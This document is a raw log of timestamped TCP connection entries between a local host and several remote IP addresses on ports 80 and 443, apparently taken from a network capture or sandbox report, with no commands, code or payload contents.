Dec 8, 2024 15:38:14.016625881 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.017684937 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.017729044 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.017760038 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.017797947 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.018539906 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.018589020 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.018603086 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.018640995 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.019562960 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.019608974 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.019640923 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.019680023 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.020685911 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.020734072 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.020817041 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.020862103 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.021522999 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.021573067 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.021610975 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.021657944 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.022695065 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:14.022736073 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:14.188487053 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:14.188560009 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:14.188641071 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:14.188990116 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:14.189007998 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:15.911897898 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:15.911995888 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:15.915823936 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:15.915844917 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:15.916106939 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:15.929822922 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:15.971348047 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.388871908 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.388909101 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.388925076 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.388992071 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.389039993 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.389091015 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.567656994 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.567698002 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.567791939 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.567812920 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.567845106 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.567867041 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.610980988 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.611016035 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.611072063 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.611097097 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.611128092 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.611139059 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.742573023 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.742616892 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.742660999 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.742675066 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.742717028 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.742727041 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.779225111 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.779264927 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.779331923 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.779349089 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.779378891 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.779386044 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.803138018 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.803170919 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.803229094 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.803237915 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.803292990 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.821454048 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.821486950 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.821549892 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.821558952 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.821590900 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.821599007 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.930126905 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.930156946 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.930218935 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.930250883 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.930274010 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.930444002 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.947603941 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.947623968 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.947679043 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.947691917 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.947719097 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.947741985 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.963392973 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.963435888 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.963493109 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.963501930 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.963656902 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.979109049 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.979146957 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.979192019 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.979197979 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.979233027 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.979243040 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.994182110 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.994214058 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.994250059 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.994256020 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:16.994323969 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:16.994323969 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.007287025 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.007332087 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.007391930 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.007400036 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.007456064 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.014041901 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.014122963 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.014130116 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.014152050 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.014184952 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.014211893 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.028420925 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.028453112 CET	443	49711	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:17.028902054 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.032008886 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.032025099 CET	443	49711	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:17.032776117 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.032809973 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:17.032867908 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.033165932 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.033180952 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:17.033375025 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.033375025 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.033389091 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:17.033528090 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.033538103 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:17.034564972 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.095443964 CET	49710	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.095472097 CET	443	49710	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.113780975 CET	49717	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.113864899 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:17.113936901 CET	49717	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.114232063 CET	49717	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:17.114257097 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:17.199861050 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.199904919 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.199975014 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.203660965 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.203717947 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.203816891 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.204866886 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.204905987 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.205054045 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.206013918 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.206032991 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.206283092 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.206320047 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.207398891 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.207413912 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.207864046 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.207921028 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.207977057 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.208360910 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.208375931 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.215770960 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.215815067 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.215948105 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.216810942 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:17.216828108 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:17.751332045 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:17.751534939 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:18.361970901 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:18.362000942 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:18.362096071 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:18.370682955 CET	49725	443	192.168.2.6	20.198.118.190
Dec 8, 2024 15:38:18.370695114 CET	443	49725	20.198.118.190	192.168.2.6
Dec 8, 2024 15:38:18.728679895 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.729527950 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.729545116 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.730803013 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.730864048 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.731792927 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.731908083 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.731993914 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.732001066 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.735428095 CET	443	49711	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.735598087 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.735605955 CET	443	49711	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.735729933 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.735908031 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.735929012 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.736756086 CET	443	49711	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.736810923 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.736902952 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.736957073 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.737126112 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.737195969 CET	443	49711	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.737390041 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.737452984 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.737518072 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.737524986 CET	443	49711	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.737632990 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.737643957 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.773212910 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.788799047 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.788800001 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.804758072 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.805258036 CET	49717	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.805269003 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.806308985 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.806372881 CET	49717	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.806768894 CET	49717	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.806826115 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.807060003 CET	49717	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.807065964 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:18.851293087 CET	49717	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:18.922108889 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.922523022 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.923000097 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.923022985 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.923649073 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.923652887 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.924268007 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.924288988 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.924858093 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.924865007 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.937710047 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.938240051 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.938277960 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.938796043 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.938802958 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.954938889 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.955420971 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.955447912 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.955913067 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.955919981 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.980644941 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.981039047 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.981061935 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:18.981487989 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:18.981493950 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.149148941 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.149238110 CET	443	49711	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.149334908 CET	49711	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.355782032 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.355870962 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.355926991 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.356302023 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.356323004 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.356333971 CET	49719	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.356339931 CET	443	49719	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.359930992 CET	49727	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.359972000 CET	443	49727	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.360037088 CET	49727	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.360210896 CET	49727	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.360224009 CET	443	49727	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.361499071 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.361521959 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.361576080 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.361587048 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.361622095 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.361782074 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.361799002 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.361810923 CET	49721	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.361815929 CET	443	49721	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.364171028 CET	49728	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.364181995 CET	443	49728	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.364377975 CET	49728	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.364588022 CET	49728	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.364600897 CET	443	49728	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.371834993 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.371895075 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.372029066 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.372067928 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.372081041 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.372097969 CET	49722	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.372103930 CET	443	49722	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.374365091 CET	49729	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.374413013 CET	443	49729	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.374515057 CET	49729	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.374658108 CET	49729	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.374676943 CET	443	49729	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.395186901 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.395211935 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.395272017 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.395289898 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.395330906 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.395505905 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.395505905 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.395514965 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.395668030 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.395699024 CET	443	49718	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.395785093 CET	49718	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.397836924 CET	49731	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.397876978 CET	443	49731	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.397936106 CET	49731	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.398139000 CET	49731	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.398152113 CET	443	49731	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.420068026 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.420090914 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.420145988 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.420175076 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.420336962 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.420351028 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.420358896 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.420492887 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.420520067 CET	443	49720	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.420567989 CET	49720	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.422503948 CET	49732	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.422528028 CET	443	49732	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.422698975 CET	49732	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.422853947 CET	49732	443	192.168.2.6	13.107.246.63
Dec 8, 2024 15:38:19.422864914 CET	443	49732	13.107.246.63	192.168.2.6
Dec 8, 2024 15:38:19.569828987 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.569880962 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.569927931 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.569958925 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.569964886 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.569983006 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.570014000 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.576464891 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.576540947 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.576550007 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.590394974 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.590477943 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.590487003 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.590883017 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.590922117 CET	443	49716	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.590967894 CET	49716	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.623775959 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.623826981 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.623861074 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.623892069 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.623912096 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.623928070 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.623940945 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.636904001 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.636934042 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.636981964 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.636991978 CET	443	49715	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.637314081 CET	49715	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.653759003 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.653860092 CET	443	49717	142.250.181.68	192.168.2.6
Dec 8, 2024 15:38:19.653987885 CET	49717	443	192.168.2.6	142.250.181.68
Dec 8, 2024 15:38:19.654743910 CET	49717	443	192.168.2.6	142.250.181.68
